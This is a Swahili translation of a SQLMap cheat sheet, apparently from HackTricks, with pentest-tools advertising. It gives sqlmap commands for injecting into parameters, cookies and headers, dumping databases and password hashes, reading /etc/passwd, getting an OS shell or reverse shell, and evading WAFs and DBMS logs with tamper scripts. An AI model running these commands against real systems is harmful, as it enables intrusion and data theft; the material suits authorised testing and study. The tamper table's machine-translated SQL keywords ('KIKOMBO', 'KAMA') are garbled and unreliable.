# SQLMap - Mwongozo wa Haraka
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**Usanidi wa haraka unaopatikana mara moja kwa tathmini ya hatari na upenyezaji**. Tekeleza pentest kamili kutoka mahali popote na zana na vipengele zaidi ya 20 ambavyo vinakwenda kutoka uchunguzi hadi ripoti. Hatuchukui nafasi ya wadukuzi - tunatengeneza zana za desturi, moduli za ugunduzi na uchimbaji ili kuwapa muda wa kuchimba kwa kina, kufungua makompyuta, na kufurahi. {% embed url="https://pentest-tools.com/" %} ## Vigezo vya Msingi kwa SQLmap ### Jenariki ```bash -u "" -p "" --user-agent=SQLMAP --random-agent --threads=10 --risk=3 #MAX --level=5 #MAX --dbms="" --os="" --technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ") --batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers --auth-type="" #HTTP authentication type (Basic, Digest, NTLM or PKI) --auth-cred="" #HTTP authentication credentials (name:password) --proxy=http://127.0.0.1:8080 --union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char ``` ### Pata Taarifa #### Ndani ```bash --current-user #Get current user --is-dba #Check if current user is Admin --hostname #Get hostname --users #Get usernames od DB --passwords #Get passwords of users in DB --privileges #Get privileges ``` #### Data ya DB ```bash --all #Retrieve everything --dump #Dump DBMS database table entries --dbs #Names of the available databases --tables #Tables of a database ( -D ) --columns #Columns of a table ( -D -T ) -D -T
-C #Dump column ``` ## Mahali pa Uingizaji ### Kutoka kwa Kukamata Burp/ZAP Kukamata ombi na kuunda faili ya req.txt ```bash sqlmap -r req.txt --current-user ``` ### Kuingiza Ombi la GET ```bash sqlmap -u "http://example.com/?id=1" -p id sqlmap -u "http://example.com/?id=*" -p id ``` ### Kuingiza Ombi la POST ```bash sqlmap -u "http://example.com" --data "username=*&password=*" ``` ### Uingizaji katika Vichwa vya Habari na njia nyingine za HTTP ```bash #Inside cookie sqlmap -u "http://example.com" --cookie "mycookies=*" #Inside some header sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*" sqlmap -u "http://example.com" --headers="referer:*" #PUT Method sqlmap --method=PUT -u "http://example.com" --headers="referer:*" #The injection is located at the '*' ``` ### Onyesha string wakati injection inafanikiwa ```bash --string="string_showed_when_TRUE" ``` ### Eval **Sqlmap** inaruhusu matumizi ya `-e` au `--eval` kusindika kila mzigo kabla ya kutuma na python oneliner fulani. Hii inafanya iwe rahisi na haraka kusindika kwa njia za desturi mzigo kabla ya kutuma. Katika mfano ufuatao **kikao cha kuki cha flask** **kinasainiwa na flask na siri inayojulikana kabla ya kutuma**: ```bash sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump ``` ### Kifuniko ```bash #Exec command python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami #Simple Shell python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell #Dropping a reverse-shell / meterpreter python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn ``` ### Soma Faili ```bash --file-read=/etc/passwd ``` ### Kutambaa tovuti kwa kutumia SQLmap na kiotomatiki kutekeleza shambulio ```bash sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3 --batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers --crawl = how deep you want to crawl a site --forms = Parse and test forms ``` ### Kuingiza ya Pili ```bash python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3 sqlmap -r 1.txt -dbms MySQL -second-order "http:///joomla/administrator/index.php" -D "joomla" -dbs ``` [**Soma chapisho hili**](second-order-injection-sqlmap.md)**kuhusu jinsi ya kutekeleza sindano za pili za kawaida na ngumu na sqlmap.** ## Kubinafsisha Sindano ### Weka kisitiri ```bash python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- " ``` ### Kiambishi ```bash python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') " ``` ### Kusaidia kupata uingizaji wa boolean ```bash # The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection) sqlmap -r r.txt -p id --not-string ridiculous --batch ``` ### Kuharibu Kumbuka kwamba **unaweza kuunda kiharibu chako mwenyewe kwa kutumia python** na ni rahisi sana. Unaweza kupata mfano wa kiharibu katika [ukurasa wa Kuingiza Mara ya Pili hapa](second-order-injection-sqlmap.md). ```bash --tamper=name_of_the_tamper #In kali you can see all the tampers in /usr/share/sqlmap/tamper ``` | Tamper | Maelezo | | ---------------------------- | ------------------------------------------------------------------------------------------------------------------------------------ | | apostrophemask.py | Badilisha herufi ya apostrophe na mbadala wake wa UTF-8 kamili | | apostrophenullencode.py | Badilisha herufi ya apostrophe na mbadala wake haramu wa mara mbili wa unicode | | appendnullbyte.py | Ongeza herufi ya NULL iliyofungwa mwishoni mwa mzigo | | base64encode.py | Base64 herufi zote katika mzigo uliopewa | | between.py | Badilisha mwendeshaji mkubwa ('>') na 'SI KATI YA 0 NA #' | | bluecoat.py | Badilisha herufi ya nafasi baada ya taarifa ya SQL na herufi sahihi tupu ya random. Kisha badilisha herufi = na mwendeshaji KAMA | | chardoubleencode.py | Double url-encode herufi zote katika mzigo uliopewa (bila kusindika tayari imekodishwa) | | commalesslimit.py | Badilisha visa kama 'KIKOMBO M, N' na 'KIKOMBO N OFFSET M' | | commalessmid.py | Badilisha visa kama 'MID(A, B, C)' na 'MID(A KUTOKA B KWA C)' | | concat2concatws.py | Badilisha visa kama 'CONCAT(A, B)' na 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' | | charencode.py | Url-encode herufi zote katika mzigo uliopewa (bila kusindika tayari imekodishwa) | | charunicodeencode.py | Unicode-url-encode herufi zisizokodishwa katika mzigo uliopewa (bila kusindika tayari imekodishwa). "%u0022" | | charunicodeescape.py | Unicode-url-encode herufi zisizokodishwa katika mzigo uliopewa (bila kusindika tayari imekodishwa). "\u0022" | | equaltolike.py | Badilisha visa vyote vya mwendeshaji sawa ('=') na mwendeshaji 'KAMA' | | escapequotes.py | Kukataa kushuka kwa herufi (' na ") | | greatest.py | Badilisha mwendeshaji mkubwa ('>') na mbadala wa 'KUBWA' | | halfversionedmorekeywords.py | Ongeza maoni ya MySQL yenye toleo mbele ya kila neno muhimu | | ifnull2ifisnull.py | Badilisha visa kama 'IFNULL(A, B)' na 'IF(ISNULL(A), B, A)' | | modsecurityversioned.py | Zungusha swali kamili na maoni yenye toleo | | modsecurityzeroversioned.py | Zungusha swali kamili na maoni yenye toleo sifuri | | multiplespaces.py | Ongeza nafasi nyingi karibu na maneno muhimu ya SQL | | nonrecursivereplacement.py | Badilisha maneno muhimu ya SQL yaliyopangwa mapema na uwakilishi unaofaa kwa kubadilishwa (k.m. .badilisha("CHAGUA", "")) | | percentage.py | Ongeza alama ya asilimia ('%') mbele ya kila herufi | | overlongutf8.py | Geuza herufi zote katika mzigo uliopewa (bila kusindika tayari imekodishwa) | | randomcase.py | Badilisha kila herufi ya neno muhimu na thamani ya kesi ya random | | randomcomments.py | Ongeza maoni ya random kwa maneno muhimu ya SQL | | securesphere.py | Ongeza mzigo maalum ulioandaliwa | | sp\_password.py | Ongeza 'sp\_password' mwishoni mwa mzigo kwa kuficha moja kwa moja kutoka kwenye magogo ya DBMS | | space2comment.py | Badilisha herufi ya nafasi (' ') na maoni | | space2dash.py | Badilisha herufi ya nafasi (' ') na maoni ya mstari ('--') ikifuatiwa na herufi ya random na mstari mpya ('\n') | | space2hash.py | Badilisha herufi ya nafasi (' ') na herufi ya pauni ('#') ikifuatiwa na herufi ya random na mstari mpya ('\n') | | space2morehash.py | Badilisha herufi ya nafasi (' ') na herufi ya pauni ('#') ikifuatiwa na herufi ya random na mstari mpya ('\n') | | space2mssqlblank.py | Badilisha herufi ya nafasi (' ') na herufi tupu ya random kutoka kwa seti sahihi ya herufi mbadala | | space2mssqlhash.py | Badilisha herufi ya nafasi (' ') na herufi ya pauni ('#') ikifuatiwa na mstari mpya ('\n') | | space2mysqlblank.py | Badilisha herufi ya nafasi (' ') na herufi tupu ya random kutoka kwa seti sahihi ya herufi mbadala | | space2mysqldash.py | Badilisha herufi ya nafasi (' ') na maoni ya mstari ('--') ikifuatiwa na mstari mpya ('\n') | | space2plus.py | Badilisha herufi ya nafasi (' ') na plus ('+') | | space2randomblank.py | Badilisha herufi ya nafasi (' ') na herufi tupu ya random kutoka kwa seti sahihi ya herufi mbadala | | symboliclogical.py | Badilisha waendeshaji wa mantiki AND na OR na mbadala zao wa ishara (&& na | | unionalltounion.py | Badilisha UNION ALL SELECT na UNION SELECT | | unmagicquotes.py | Badilisha herufi ya nukuu (') na combo ya multi-byte %bf%27 pamoja na maoni ya jumla mwishoni (ili kufanya kazi) | | uppercase.py | Badilisha kila herufi ya neno muhimu na thamani ya kesi ya juu 'WEKA' | | varnish.py | Ongeza kichwa cha HTTP 'X-originating-IP' | | versionedkeywords.py | Zungusha kila neno muhimu lisilo la kazi na maoni ya MySQL yenye toleo | | versionedmorekeywords.py | Zungusha kila neno muhimu na maoni ya MySQL yenye toleo | | xforwardedfor.py | Ongeza kichwa cha HTTP bandia 'X-Forwarded-For' |
**Usanidi wa papo hapo wa upimaji wa udhaifu & uchunguzi wa kuingilia**. Tekeleza pentest kamili kutoka mahali popote na zana na vipengele zaidi ya 20 ambavyo vinakwenda kutoka kwa uchunguzi hadi ripoti. Hatuchukui nafasi ya wapimaji wa pentest - tunatengeneza zana za desturi, ugunduzi & moduli za kutumia ili kuwarudishia muda wa kuchimba kwa kina, kuvunja makompyuta, na kufurahi. {% embed url="https://pentest-tools.com/" %}
Jifunze kuhusu kuingilia AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)! Njia nyingine za kusaidia HackTricks: * Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJISAJILI**](https://github.com/sponsors/carlospolop)! * Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) * Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee * **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Shiriki mbinu zako za kuingilia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.